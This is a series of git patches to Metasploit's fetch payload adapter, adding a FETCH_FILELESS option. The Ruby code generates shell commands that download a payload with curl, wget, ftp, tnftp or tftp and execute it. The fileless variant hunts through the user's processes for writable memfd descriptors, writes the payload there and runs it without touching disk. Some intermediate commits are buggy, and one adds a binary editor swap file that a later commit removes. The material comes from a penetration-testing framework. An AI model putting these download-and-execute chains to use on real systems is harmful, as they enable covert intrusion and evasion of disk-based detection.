From 05bd95c23fd5c204b6f1266a7071051e2dacfa73 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 2 Jan 2025 12:56:55 +0100 Subject: [PATCH 01/12] Init new method for Unix fileless ELF execution --- lib/msf/core/payload/adapter/fetch.rb | 52 +++++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index fa17aeff1bb1..8bdb4d63000e 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -202,9 +202,17 @@ def _execute_win end def _execute_nix - cmds = ";chmod +x #{_remote_destination_nix}" - cmds << ";#{_remote_destination_nix}&" - cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + if datastore['FETCH_DELETE'] + fd = rand(3..7) + #create anonymous file ? -> /proc/$pid/fd/$fd + cmds = ';tmpfile=$(mktemp);exec #{fd}<> "$tmpfile"; rm -f "$tmpfile"' + + + else + cmds = ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + end + #cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end @@ -222,6 +230,44 @@ def _generate_certutil_command end cmd + _execute_add end + + def _generate_fileless + + case fetch_protocol + when 'HTTP' + get_file_cmd = "curl http://#{download_uri}" + when 'HTTPS' + get_file_cmd = "curl https://#{download_uri}" + when 'TFTP' + get_file_cmd = "curl tftp://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + + #get list of all $USER's processes + cmd = "FOUND=0" + cmd << ";for i in $(ps -u $USER | awk '{print $1}')" + #already found anonymous file where we can write + cmd << "; do if [[ $FOUND -eq 0 ]]" + + #look for every symbolic link with write rwx permissions + #if found one, try to download payload into the anonymous file + #and execute it + cmd << "; then while read f" + cmd << "; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]" + cmd << "; then #{get_file_cmd} > $f" + cmd << "; $f" + cmd << "; FOUND=1" + cmd << "; break" + cmd << "; fi" + cmd << "; done <<< $(find /proc/$i/fd -type l -perm u=rwx)" + cmd << ";fi" + cmd << "done" + + cmd + +end + def _generate_curl_command case fetch_protocol From b98fb7553d3724c345b7bd2a95c1242e819d60d2 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Feb 2025 13:22:29 +0100 Subject: [PATCH 02/12] Adding FETCH_FILELESS option --- lib/msf/core/payload/adapter/fetch.rb | 192 +++++++++++++++++--------- 1 file changed, 125 insertions(+), 67 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 8bdb4d63000e..c7638368b314 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,16 +1,16 @@ module Msf::Payload::Adapter::Fetch - def initialize(*args) super register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/), + Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only Unix)', false]), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/) + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex: /^\S*$/) ] ) register_advanced_options( @@ -94,15 +94,16 @@ def generate_fetch_commands # case datastore['FETCH_COMMAND'].upcase when 'FTP' - return _generate_ftp_command + return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command when 'TNFTP' - return _generate_tnftp_command + return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command when 'WGET' - return _generate_wget_command + return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command when 'CURL' - return _generate_curl_command + return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command when 'TFTP' - return _generate_tftp_command + return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command + # ignoring certutil when 'CERTUTIL' return _generate_certutil_command else @@ -143,11 +144,13 @@ def srvport def srvuri return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + default_srvuri end def windows? return @windows unless @windows.nil? + @windows = platform.platforms.first == Msf::Module::Platform::Windows @windows end @@ -177,14 +180,14 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) comm = ::Rex::Socket::Comm::Local when /\A-?[0-9]+\Z/ comm = framework.sessions.get(srv_comm.to_i) - raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm - raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm + raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm when nil, '' unless ip.nil? comm = Rex::Socket::SwitchBoard.best_comm(ip) end else - raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid") + raise("SocketServer Comm '#{srv_comm}' is invalid") end comm || ::Rex::Socket::Comm::Local @@ -192,6 +195,7 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) def _execute_add return _execute_win if windows? + return _execute_nix end @@ -202,17 +206,16 @@ def _execute_win end def _execute_nix - if datastore['FETCH_DELETE'] - fd = rand(3..7) - #create anonymous file ? -> /proc/$pid/fd/$fd - cmds = ';tmpfile=$(mktemp);exec #{fd}<> "$tmpfile"; rm -f "$tmpfile"' - - - else - cmds = ";chmod +x #{_remote_destination_nix}" - cmds << ";#{_remote_destination_nix}&" - end - #cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + if datastore['FETCH_DELETE'] + rand(3..7) + # create anonymous file ? -> /proc/$pid/fd/$fd + cmds = %{;tmpfile=$(mktemp);exec #{fd}<> "$tmpfile"; rm -f "$tmpfile"} + + else + cmds = ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + end + # cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end @@ -230,44 +233,30 @@ def _generate_certutil_command end cmd + _execute_add end - - def _generate_fileless - - case fetch_protocol - when 'HTTP' - get_file_cmd = "curl http://#{download_uri}" - when 'HTTPS' - get_file_cmd = "curl https://#{download_uri}" - when 'TFTP' - get_file_cmd = "curl tftp://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - - #get list of all $USER's processes - cmd = "FOUND=0" - cmd << ";for i in $(ps -u $USER | awk '{print $1}')" - #already found anonymous file where we can write - cmd << "; do if [[ $FOUND -eq 0 ]]" - - #look for every symbolic link with write rwx permissions - #if found one, try to download payload into the anonymous file - #and execute it - cmd << "; then while read f" - cmd << "; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]" - cmd << "; then #{get_file_cmd} > $f" - cmd << "; $f" - cmd << "; FOUND=1" - cmd << "; break" - cmd << "; fi" - cmd << "; done <<< $(find /proc/$i/fd -type l -perm u=rwx)" - cmd << ";fi" - cmd << "done" - - cmd - -end - + + def _generate_fileless(get_file_cmd) + # get list of all $USER's processes + cmd = 'FOUND=0' + cmd << ";for i in $(ps -u $USER | awk '{print $1}')" + # already found anonymous file where we can write + cmd << '; do if [[ $FOUND -eq 0 ]]' + + # look for every symbolic link with write rwx permissions + # if found one, try to download payload into the anonymous file + # and execute it + cmd << '; then while read f' + cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]' + cmd << "; then #{get_file_cmd} $f" + cmd << '; $f' + cmd << '; FOUND=1' + cmd << '; break' + cmd << '; fi' + cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)' + cmd << '; fi' + cmd << '; done' + + cmd + end def _generate_curl_command case fetch_protocol @@ -283,17 +272,45 @@ def _generate_curl_command cmd + _execute_add end + def _generate_curl_command_fileless + case fetch_protocol + when 'HTTP' + fetch_command = "curl http://#{download_uri} -so" + when 'HTTPS' + fetch_command = "curl https://#{download_uri} -sko" + when 'TFTP' + fetch_command = "curl tftp://#{download_uri} -so" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _generate_fileless(fetch_command) + end + def _generate_ftp_command case fetch_protocol when 'FTP' - cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_ftp_command_filess + case fetch_protocol + when 'FTP' + fetch_command = "ftp ftp://#{download_uri} -Vo" when 'HTTP' - cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + fetch_command = "ftp http://#{download_uri} -Vo" when 'HTTPS' - cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + fetch_command = "ftp https://#{download_uri}#{_execute_nix} -Vo" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end + _generate_fileless(fetch_command) end def _generate_tftp_command @@ -312,19 +329,45 @@ def _generate_tftp_command cmd end + def _generate_tftp_command_fileless + _check_tftp_port + case fetch_protocol + when 'TFTP' + _check_tftp_file + cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + end + def _generate_tnftp_command case fetch_protocol when 'FTP' - cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" when 'HTTP' - cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" when 'HTTPS' - cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end end + def _generate_tnftp_command_fileless + case fetch_protocol + when 'FTP' + fetch_command = "tnftp ftp://#{download_uri} -Vo" + when 'HTTP' + fetch_command = "tnftp http://#{download_uri} -Vo" + when 'HTTPS' + fetch_command = "tnftp https://#{download_uri} -Vo" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _generate_fileless(fetch_command) + end + def _generate_wget_command case fetch_protocol when 'HTTPS' @@ -337,13 +380,27 @@ def _generate_wget_command cmd + _execute_add end + def _generate_wget_command_fileless + case fetch_protocol + when 'HTTPS' + fetch_command = "wget --no-check-certificate https://#{download_uri} -qO" + when 'HTTP' + fetch_command = "wget http://#{download_uri} -qO" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _generate_fileless(fetch_command) + end + def _remote_destination return _remote_destination_win if windows? + return _remote_destination_nix end def _remote_destination_nix return @remote_destination_nix unless @remote_destination_nix.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] writable_dir = '.' if writable_dir.blank? writable_dir += '/' unless writable_dir[-1] == '/' @@ -356,12 +413,13 @@ def _remote_destination_nix def _remote_destination_win return @remote_destination_win unless @remote_destination_win.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' payload_filename = datastore['FETCH_FILENAME'] payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename - payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe' + payload_path += '.exe' unless payload_path[-4..] == '.exe' @remote_destination_win = payload_path @remote_destination_win end From a2044acc4264f4e25d47212a7576e0e5b961c40a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Feb 2025 15:38:59 +0100 Subject: [PATCH 03/12] Bug fixed --- lib/msf/core/payload/adapter/fetch.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index c7638368b314..3c91f4f6a3d3 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -103,7 +103,7 @@ def generate_fetch_commands return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command when 'TFTP' return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command - # ignoring certutil + # ignoring certutil when FETCH_FILELESS is enabled when 'CERTUTIL' return _generate_certutil_command else @@ -246,7 +246,7 @@ def _generate_fileless(get_file_cmd) # and execute it cmd << '; then while read f' cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]' - cmd << "; then #{get_file_cmd} $f" + cmd << "; then #{get_file_cmd}" cmd << '; $f' cmd << '; FOUND=1' cmd << '; break' @@ -283,7 +283,7 @@ def _generate_curl_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command) + _generate_fileless(fetch_command + ' $f') end def _generate_ftp_command @@ -299,7 +299,7 @@ def _generate_ftp_command end end - def _generate_ftp_command_filess + def _generate_ftp_command_fileless case fetch_protocol when 'FTP' fetch_command = "ftp ftp://#{download_uri} -Vo" @@ -310,7 +310,7 @@ def _generate_ftp_command_filess else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command) + _generate_fileless(fetch_command + ' $f') end def _generate_tftp_command @@ -334,11 +334,11 @@ def _generate_tftp_command_fileless case fetch_protocol when 'TFTP' _check_tftp_file - cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + fetch_command = "(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - cmd + _generate_fileless(fetch_command) end def _generate_tnftp_command @@ -365,7 +365,7 @@ def _generate_tnftp_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command) + _generate_fileless(fetch_command + ' $f') end def _generate_wget_command @@ -389,7 +389,7 @@ def _generate_wget_command_fileless else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _generate_fileless(fetch_command) + _generate_fileless(fetch_command + ' $f') end def _remote_destination From b678126361ff8fb6cb930f74879cf42482a621bb Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 5 Feb 2025 07:33:42 +0100 Subject: [PATCH 04/12] Code factor, adding comments --- lib/msf/core/payload/adapter/.fetch.rb.swo | Bin 0 -> 36864 bytes lib/msf/core/payload/adapter/fetch.rb | 16 +++++----------- 2 files changed, 5 insertions(+), 11 deletions(-) create mode 100644 lib/msf/core/payload/adapter/.fetch.rb.swo diff --git a/lib/msf/core/payload/adapter/.fetch.rb.swo b/lib/msf/core/payload/adapter/.fetch.rb.swo new file mode 100644 index 0000000000000000000000000000000000000000..54a532813a4a309fc5449fc8771e51b318ba44bc GIT binary patch literal 36864 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 literal 0 HcmV?d00001 diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 3c91f4f6a3d3..3cdda3b6e0e1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -4,7 +4,7 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only Unix)', false]), + Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set @@ -206,16 +206,9 @@ def _execute_win end def _execute_nix - if datastore['FETCH_DELETE'] - rand(3..7) - # create anonymous file ? -> /proc/$pid/fd/$fd - cmds = %{;tmpfile=$(mktemp);exec #{fd}<> "$tmpfile"; rm -f "$tmpfile"} - - else - cmds = ";chmod +x #{_remote_destination_nix}" - cmds << ";#{_remote_destination_nix}&" - end - # cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds = ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end @@ -234,6 +227,7 @@ def _generate_certutil_command cmd + _execute_add end + # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor def _generate_fileless(get_file_cmd) # get list of all $USER's processes cmd = 'FOUND=0' From 0d558a1f716da4115d1c7c56ee7d7dc775e7f971 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 5 Feb 2025 09:08:34 +0100 Subject: [PATCH 05/12] Fileless execution condition specified --- lib/msf/core/payload/adapter/.fetch.rb.swo | Bin 36864 -> 0 bytes lib/msf/core/payload/adapter/fetch.rb | 17 ++++++++++++----- 2 files changed, 12 insertions(+), 5 deletions(-) delete mode 100644 lib/msf/core/payload/adapter/.fetch.rb.swo diff --git a/lib/msf/core/payload/adapter/.fetch.rb.swo b/lib/msf/core/payload/adapter/.fetch.rb.swo deleted file mode 100644 index 54a532813a4a309fc5449fc8771e51b318ba44bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 36864 zcmeI53vgUld4LyE!uuUUOG`MB9Iq5>ckKl7SjXeovK$*E%Sf_4Q(0NAcJE5J+TFXk z_pW4NtD%sTOdq_ODX#{~V|bL(@+eaXEz{6Y($GL*(lY4)Qy@H2CJI9x1MoND&J|tH&eg5eifff} zR>`UdwwEj0L2)tb&2L!srHLxzl_g6+W&vy$*I(>a5KCe z{sbgy{rFVs7)-)JxDW>5y2qtbPlb;>HkEomya!$h%kUzY zgbX|$e)O1B>ih6Lcms^Ww=fF)Fv!J-$MnC!+$-BwBb594i~_$!dHJK zmHIr~0XM>77=}l{?HCOH7H)u3;K6Uf^WnP~L;eHqfq#XMzz5+2a1-R=xo|O@2e%-* zkHXFHHYkJ0vjj@nwG#hVYRW#5&riF>B|FFlZoz5~Jct3x`tp)l{%N{g-^jHuS{ zb=M1qdAVelV^?c-P;ra#q)Qe76#;=0v+4a3DKYN&fnBq`y`*`VG}3d~`HEFr+O2jg z-&>YsRbFlUR#(>Y=ILgG6DipR-{5K|VjR?|Ipp zy)sm?QhH5^juDC)C>>NB9mQKpl>I?Bt?Vpu0 zFQ{FL+J!IY2T#TtYwGai)J%F#S5p!t0Sb`PpY;D)Dasy`(5CUO6P70IU|}i35+H(DxyKJoPE+n4X@qy;X;39fRCP;@id}GOWp_3` z>egy@F>u`4%xc}HUp4AQT2k%WrP6y39@>`zLsky5^}iH=1efRD`fC z+cmeU7AMiMIuo#0tQ4*v|~=|c8l_g2z}~7ihMdUbxq^xEp6v$Lf%3`TXILYXA^~=0JZx^iwW0Gbf75QW-+PCCZE326WnUk!* 